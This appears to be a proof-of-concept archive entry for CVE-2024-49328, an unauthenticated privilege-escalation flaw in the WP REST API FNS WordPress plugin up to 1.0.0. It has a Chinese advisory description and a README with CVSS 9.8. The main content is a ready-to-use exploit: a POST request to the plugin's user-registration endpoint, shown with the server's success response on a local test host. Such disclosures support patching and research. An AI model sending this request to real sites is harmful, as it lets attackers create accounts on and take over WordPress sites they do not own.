CVE-2024-49328 PoC — WordPress plugin WP REST API FNS 安全漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-49328

Associated Vulnerability

Title:WordPress plugin WP REST API FNS 安全漏洞 (CVE-2024-49328)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP REST API FNS 1.0.0版本及之前版本存在安全漏洞，该漏洞源于使用备用路径或通道漏洞绕过身份验证。

Description

WP REST API FNS <= 1.0.0 - Privilege Escalation

Readme

# CVE-2024-49328
WP REST API FNS &lt;= 1.0.0 - Privilege Escalation

# Description:
The WP REST API FNS Plugin plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to gain administrator privileges.

```
CVE: CVE-2024-49328
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: rest-api-fns
```


POC
---

Request

```
POST /wp-json/api/v2/user/register HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 57

{"email": "user@example.com", "password": "yourpassword"}
```

Response

```
HTTP/1.1 200 OK
Date: Wed, 06 Nov 2024 16:25:12 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.13
X-Robots-Tag: noindex
Link: <http://kubernetes.docker.internal/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Content-Length: 191
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8

{"status":200,"message":"User Register Successfully","data":{"user_id":"7","user_email":"user@example.com","user_nicename":"userexample-com","user_fname":"","user_lname":"","profile_url":""}}
```

File Snapshot


 [4.0K]  /data/pocs/6bfb2660c1035a81990f73a8f9d1a325b157eccf
└── [1.7K]  README.md

0 directories, 1 file

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